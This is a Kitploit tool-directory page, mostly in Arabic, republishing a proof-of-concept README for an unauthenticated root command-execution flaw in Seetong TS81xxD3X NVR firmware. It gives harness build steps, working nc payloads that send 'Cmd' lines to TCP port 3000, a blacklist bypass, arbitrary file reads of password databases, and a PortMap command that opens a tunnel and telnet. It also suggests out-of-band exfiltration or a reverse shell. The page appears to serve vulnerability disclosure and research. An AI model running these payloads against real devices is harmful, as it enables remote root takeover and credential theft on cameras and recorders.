Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
seetong-ts81xxd3x-rce — CVE-2026-100886 | مجموعة أدوات تنفيذ التعليمات البرمجية عن بُعد دون مصادقة. | Kitploit
أدوات/GitHubGitHub/heapframe/seetong-ts81xxd3x-rce
أمان الأنظمة المدمجةأمان إنترنت الأشياءتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةأمان الأجهزة وإنترنت الأشياءتحليل الملفات الثنائيةأداة الوصول عن بعدتحليل البرامج الثابتة
GitHubheapframe/seetong-ts81xxd3x-rce

seetong-ts81xxd3x-rce

CVE-2026-100886 | مجموعة أدوات تنفيذ التعليمات البرمجية عن بُعد دون مصادقة.

منذ 5 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودعالموقع الإلكتروني

PoC - خادم تصحيح RLog RCE (CVE-2026-100886)

يوضح الـ harness أن libLOG.so الخاص بالـ firmware يشغّل خادم RLog
على TCP/3000. يُظهر تحليل موزّع الأوامر والاختبارات الديناميكية
تنفيذ أوامر نظام التشغيل دون مصادقة عبر ذلك الخادم.

يقوم بتحميل libLOG.so الخاص بالـ firmware تحت qemu-arm، ويستدعي TLog_Init()
ويربط الخادم الحقيقي على 0.0.0.0:3000 ويقبل الاتصالات الواردة
من أي مكان مع عدم وجود مصادقة.

الثغرة

يكشف الـ firmware عن خادم أوامر RLog بدون مصادقة على TCP/3000.

يسجّل موزّع الأوامر Cmd، الذي يمرّر مدخلات يتحكم بها المهاجم إلى TLog_CMD. يستدعي TLog_CMD في النهاية الواجهة الخلفية لتنفيذ أوامر الـ firmware.

لذلك:

Unauthenticated TCP connection
        ↓
RLog command dispatcher
        ↓
Cmd <attacker-controlled command>
        ↓
TLog_CMD
        ↓
mysystem()
        ↓
/bin/sh
        ↓
command execution

الملفات

  • harness.c: النسخة الدائمة: تُشغّل الخادم وتنام (استخدم هذه للاستخدام الفعلي)
  • probe_harness.c: نسخة الفحص: تحاول أيضاً فحص الأوامر من داخل المحاكي (تُظهر متطلب تأطير بايت النوع)

إذا كان تنزيل الـ firmware الذي يستخدمه السكربت أدناه لإنشاء sysroot لم يعد موجوداً. يمكنك الحصول عليه من أحد هذين (فقط ابحث عن صورة الـ nvr، فالـ firmware موزّع على نطاق واسع):

  • https://www.fullward.com/index.php?m=home&c=View&a=index&aid=145
  • http://en.tpsee.com/index.php?md=article&ct=lists&catid=24

استخدمت firmware v4.6.1.4-build202604241011 لهذا، لم يتم اختبار إصدارات firmware أخرى بعد، لكن الموزّعين الثانويين مثل fullward لديهم أيضاً.

البناء

شغّل هذا في نفس دليل الـ harnesses

# Download and extract toolchain
wget https://gitlab.arm.com/api/v4/projects/tooling%2Fgnu-toolchains-for-arm/packages/generic/gnu-toolchain/15.3.rel1/arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf.tar.xz
tar -xvf arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf.tar.xz

TC=$(pwd)/arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf

# Creating the sysroot
wget http://www.tpsee.com/upload/firmware/update-ts81xxd3x-v4.6.1.4-build202604241011.bin
binwalk -Me update-ts81xxd3x-v4.6.1.4-build202604241011.bin

mkdir -p sysroot
cp -a "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_rootfs.ts81xxd3x.extracted/squashfs-root/lib" sysroot/

cp "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_app.ts81xxd3x.extracted/squashfs-root/lib/libLOG.so" \
   "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_app.ts81xxd3x.extracted/squashfs-root/lib/libmysystem.so" sysroot/lib/

$TC -march=armv7-a -mthumb -mfloat-abi=soft -nostdlib -ffreestanding -fno-builtin \
    -Wl,--dynamic-linker,/lib/ld-uClibc.so.0 -Wl,-rpath,/lib -Wl,-e,_start -Wl,--export-dynamic \
    harness.c -o harness -L sysroot/lib -lc

يوفّر هذا الـ harness تطبيقات بديلة (stub) للرموز التي يستوردها libLOG.so من edvr

التشغيل

qemu-arm -L sysroot ./harness &
sleep 2
ss -tln | grep 3000
# -> LISTEN 0 5 0.0.0.0:3000 0.0.0.0:*  (qemu user-mode forwards the emulated socket to the host)

المخرجات الملاحظة من probe_harness.c (ليس المستخدم في السكربت أعلاه):

dlopen ok
TLog_Init() -> 0
--- probe port 3000 ---
connect port 3000 OK        (x5 meaning every connection accepted)
REPLY: timeout/none         (plain-text probes ignored: binary type-byte framing required)

الاستخدام

➜  seetong-ts81xxd3x-rce printf 'Cmd cat /etc/os-release > /tmp/rlog_os.txt\r\n' | nc 127.0.0.1 3000
^C% 
➜  seetong-ts81xxd3x-rce cat /tmp/rlog_os.txt 
NAME="Artix Linux"
PRETTY_NAME="Artix Linux"
ID=artix
BUILD_ID=rolling
ANSI_COLOR="38;2;23;147;209"
HOME_URL="https://artixlinux.org/"
DOCUMENTATION_URL="https://wiki.artixlinux.org/"
SUPPORT_URL="https://forum.artixlinux.org/"
BUG_REPORT_URL="https://bugs.artixlinux.org/"
PRIVACY_POLICY_URL="https://terms.artixlinux.org/docs/privacy-policy/"
LOGO=artixlinux-logo
➜  seetong-ts81xxd3x-rce 

يظهر Artix Linux بسبب مشاركة qemu user mode لنظام ملفات المضيف حيث أن هذا الـ PoC لا يعزله بشكل صحيح.

تفاصيل موزّع الأوامر

إفصاح عن الذكاء الاصطناعي، النص أدناه مُولّد بالذكاء الاصطناعي

الأوامر المسجّلة (الوحدة "RLog"، LogModuleRegCmd @ 0x8f94)

الأمرالمعالجالتأثير
StartDebug, StartLog, SetLogLevel, Help, StartAutoTestمتنوّعالتحكم في التسجيل/الاختبار الذاتي
GetSystemStatus, GetSystemInfo, GetSystemLog, GetSystemCfgTLog_Get*إفصاح عن المعلومات/الإعدادات/السجلات
GetSystemFile [abs names]TLog_GetSystemFile (0x7a94) + TLog_SendFile (0x48f0)قراءة ملفات عشوائية (/etc/shadow, /usr/local/etc/user.db, ...)
GetPrintfFileTLog_GetPrintfFileقراءة ملفات
Cmd [System commands]TLog_CMD (0x3680)تنفيذ أوامر shell كـ root
PortMap on <ip> <port> / PortMap offfcn.00008b76نفق TUN عكسي + telnetd على المنفذ 23

TLog_CMD (0x3680) — shell عن بُعد

  • ينسخ الأمر (بحد أقصى 48 حرفاً، يتوقف عند ; \r \n).
  • القائمة السوداء = مطابقة تامة {vi, cd, top, if, killcmd} (strcmp) — يمكن تجاوزها بسهولة (cat, sh, الاقتباس).
  • صيغة وضع الخلفية "%s -b" → يعمل عبر sh -c.
  • سلاسل مساعد القتل: ps -ef | grep "sh -c %s" |grep -v grep, '{print $1}' | xargs kill -9.
  • الواجهة الخلفية للتنفيذ: mysystem() (libmysystem.so) → IPC إلى /usr/sbin/systemd (systemd مزيف، ينفّذ عبر /bin/sh كـ root؛ السلاسل "[systemd cmd:]%s", "[systemd ret:]%d").

عرض القائمة السوداء (2026-08-04، خادم محاكى):

Cmd vi > /tmp/bl_vi                → dropped (no file created)
Cmd cat /etc/hostname > /tmp/bl_cat → executed (file contains hostname)
Cmd v''i > /tmp/bl_bypass          → BLACKLIST BYPASSED (shell sees `vi`, strcmp sees `v''i`)

معالج PortMap (fcn.00008b76) — نفق + telnet

  • يحلّل PortMap on <ip> <port> (يتوقع 3 حقول).
  • portmap_client_start(ip, port) (0x88b0):
    • system("lsmod | grep -q '^tun\\b' || insmod /config/modules/4.9.84/tun.ko")
    • يفتح /dev/net/tun، ينشئ الواجهة tps0، ifconfig tps0 up
    • يقرأ /mnt/nand/yun_id.txt, /etc/product_type.txt
    • عند النجاح: system("touch /usr/local/etc/normal_telnet") (0x897e→0x8982)
  • ثم يشغّل المعالج system("killall telnetd") (0x8c1e) و system("telnetd -p 23 &") (0x8c32).
  • portmap_client_stop (0x8a48) → system("rm -f /usr/local/etc/normal_telnet"), ifconfig tps0 down.
  • الصادرات ذات الصلة: portmap_client_get_status, portmap_client_is_running, portmap_client_get_assigned_ip.
  • سلاسل السجل: "usage: PortMap on <ip> <port> | PortMap off\n", "PortMap on: IP=%s, Port=%d\n", "PortMap start success! ret:%d", "PortMap stop success!".

سلاسل ملحوظة أخرى

  • "rm %s/* -rf" (0xad10) — يستخدمها تنظيف دليل السجلات (TLog_DeleteLogFile).

التحقق الديناميكي (2026-08-04)

الـ harness (harness.c) يقوم بـ dlopen لـ libLOG.so، ويوفّر بدائل لاستيرادات edvr، ويستدعي TLog_Init():

dlopen ok
TLog_Init() -> 0

جانب المضيف (تمرير مقبس qemu user-mode):

LISTEN  0  5  0.0.0.0:3000  0.0.0.0:*  users:(("qemu-arm",pid=...,fd=0))

إثبات تنفيذ الأوامر (نص عادي، بدون مصادقة):

$ printf 'Cmd touch /tmp/rlog_pwned\r\n' | nc <target> 3000        # file created
$ printf 'Cmd id > /tmp/rlog_id.txt\r\n' | nc <target> 3000      # id output captured

تم التحقق من كليهما على الخادم المحاكى. تُنفّذ الأوامر عبر mysystem() → /usr/sbin/systemd → /bin/sh (root على الجهاز). لا يتم إرجاع أي مخرجات على المقبس (RCE أعمى؛ استخدم تسريباً خارج النطاق، مثل Cmd cat /usr/local/etc/user.db > /mnt/... أو reverse shell).

التأثير: يمكن لأي مهاجم شبكة غير مصادق عليه تنفيذ أوامر shell كـ root، وقراءة أي ملف (بما في ذلك قاعدة بيانات كلمات المرور النصية الصريحة والسجلات التي تسرّب كلمات المرور)، وتحويل telnet إلى المنفذ 23. على شبكة محلية هذه نهاية اللعبة؛ وعلى الأجهزة المكشوفة للإنترنت كذلك.

تنزيل الأداة